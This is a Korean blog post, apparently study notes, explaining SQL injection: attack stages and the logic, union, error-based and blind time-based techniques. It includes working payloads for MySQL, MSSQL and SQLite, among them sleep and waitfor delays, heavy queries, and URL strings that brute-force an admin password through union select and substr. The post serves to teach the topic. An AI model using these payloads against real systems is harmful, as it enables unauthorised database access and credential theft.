티스토리 뷰
SQL Injection?
사용자 입력 데이터가 SQL Query에 포함되어 의도되지 않은 Query문이 실행되는 취약점.
SQL Injection을 방지하기 위해서는 사용자 데이터가 SQL Query로써 동작하지 못하도록 해야한다.
SQL Injection 공격은 대표적으로 두 가지 목적을 가진다.
1. 정보 탈취 (기밀성 침해)
2. 정보 수정/삭제 (무결성 침해)
결국 기존에 권한이 없는 DB 정보에 접근하는 것이 공통점이다. 이러한 공격을 위해서 다음 과정을 거쳐 공격을 수행하게 된다.
1. SQL Injection 취약점 발견
- HTTP Response Status Code를 통해 오류가 발생하는지 확인
- DBMS의 오류 메시지를 통해 취약점 가능성 확인
- 웹 어플리케이션에서 변조된 SQL구문이 실행된 데이터가 반환되는지 확인
2. 구문 예측 / DBMS 정보 획득
- 사용자의 입력 데이터를 처리하는 구문을 예측한다. (Query문 예측)
- DBMS의 정보를 획득하여 Exploit 작성을 위한 정보를 획득한다.
3. Exploit 작성
- 사용할 공격 기법을 선정합니다.
- WAF와 같이 SQL Injection를 방어하는 로직 등이 존재할 경우 우회 가능성을 판단한다.
4. 정보 탈취 및 수정/삭제
- 시스템 테이블 등을 이용해 DB의 정보를 획득하고, 저장된 데이터를 탈취하거나 수정/삭제 하여 공격
SQL Injection 취약점이 발생했을 때 공격법
[ Logic ]
and, or 와 같은 Logic을 이용한 공격이다.
and 연산자는 첫 번째 피연산자가 True일 경우에만 두 번째 피연산자를 연산한다는 특징,
그리고 or 연산자는 첫 번째 피연산자가 False일 경우에만 두 번째 피연산자를 연산한다는 특징을
활용해 SQL Injection 공격을 수행할 수 있다.
[ Union ]
양쪽의 결과를 결합해주는 Union 명령어를 이용한 공격이다.
왼쪽의 결과가 화면에 나온다면, 오른쪽에 공격자가 임의의 Query를 생성하고 이 결과가 결합되면서
같이 화면에 나오는 점을 이용해 SQL Injection 공격을 수행할 수 있다.
( id 출력하는 곳에 union select upw from users 를 붙인다면 pw가 같이 출력되도록 할 수 있다.)
그러나, 반드시 왼쪽 결과의 Column수와 Column Type이 오른쪽 결과와 동일해야한다.
[ Subquery ]
Select절, From절, Where절에 사용되는 SubQuery를 사용해 SQL Injection 공격을 수행한다.
SQL Injection 취약점이 발생했을 때 상황별 접근법
[ Error Based ]
임의로 에러를 발생시켜 정보를 획득하는 공격 기법이다. SQL Injection이 발생했을 때 결과가 나오지는 않지만 Query문에 Error가 발생했을 때 공격자에게 이 Error가 노출되는 상황에 사용이 가능하다.
( Syntax Error가 아니라 Runtime중에 발생하는 Error가 필요하다. )
이러한 SQL Injection Point가 발생했을 때 아래와 같이 Error문을 통해 원하는 결과를 출력할 수 있다.
select extractvalue(1, concat(0x3a, version()));
이런 Query문을 수행하게되면 Runtime Error가 발생하면서 version() 함수가 호출된 결과가 공격자에게 Error문에 포함되어 노출되게 된다.
이런 Error를 유발하는 Query문은 SQL 종류마다 다르며 각각 아래의 Query문이 존재한다.
MySQL
이와같이 큰 수의 연산을 통해 Error를 발생시킬 수 있다는 것을 기억하자.
ch4njun.tistory.com/58?category=710183
MSSQL
ch4njun.tistory.com/57?category=710183
Oracle
[ Blind ]
DB 조회 후 결과를 공격자가 직접 확인할 수 없는 상황에서 사용되는 SQL Injection 공격기법이다.
1. 데이터를 비교해 참/거짓을 구분한다.
2. 참/거짓의 결과에 따른 특별한 응답을 생성한다.
여기서 1번을 Time Based로 확인할 수 있다. Time Based는 시간 지연 여부를 통해 참/거짓 여부를 판단하게 된다. 이 때 사용되는 것이 DB의 함수(sleep 등), 무거운 연산과정(Heavy Query)을 통해 시간 지연이 가능한 Query문을 포함 시킬 수 있다.
사용 예시는 아래의 코드이다.
select if(1=1, sleep(1), 0);
select if(1=0, sleep(1), 0);
이 차이를 통해서 공격자는 조건문의 참/거짓을 판별할 수 있게된다.
SQL별로 Time Based에서 사용하는 방법에 대한 설명이다.
MySQL
[ DB의 함수 ]
sleep(10);
benchmark(10, sha1(1));
[ Heavy Query ]
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
MSSQL
[ DB의 함수 ]
waitfor delay '0:0:1'
[ Heavy Query ]
select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
SQLite
[ Heavy Query ]
LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
Blind SQL Injection의 경우에는 모두 위 흐름을 따라가게 된다.
select if(1=1, True, False); <!-- MySQL -->
select case when 1=1 then 'true' else 'false' end; <!-- SQLite -->
if(select 'test')='test' select 1234; <!-- MSSQL -->
위와같은 SQL에서 제공하는 조건문을 사용하게 된다. 그리고 1=1 자리에 like, substr, length 등을 활용해 원하는 Data의 정보를 획득할 수 있다. (Brute Force를 통해 획득한다.)
/?username=' union select 'admin' -- -
/?username=' union select if(substr(pw, 1, 1)='A', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='B', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='C', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='D', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='E', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='F', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='G', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='H', 'admin', 'not admin') from users where username='admin' #
...
예를들면 이와같은 방법을 사용해 admin의 password값을 찾을 수 있다. 이렇게 첫 번째 문자를 찾으면 그 다음은 substr(pw, 2, 1)을 사용해 두 번째 문자.. 이렇게 끝까지 찾아나가게 된다.
ch4njun.tistory.com/3?category=710183
'Web > Concept' 카테고리의 다른 글
[Concept] CSP (feat. dreamhack) (0) | 2020.09.17 |
---|---|
[Concept] CSRF (feat. dreamhack) (0) | 2020.09.17 |
[Concept] XSS (feat. dreamhack) (0) | 2020.09.17 |
[Concept] Tunneling (0) | 2019.09.16 |
[Concept] Port Forwarding (0) | 2019.09.16 |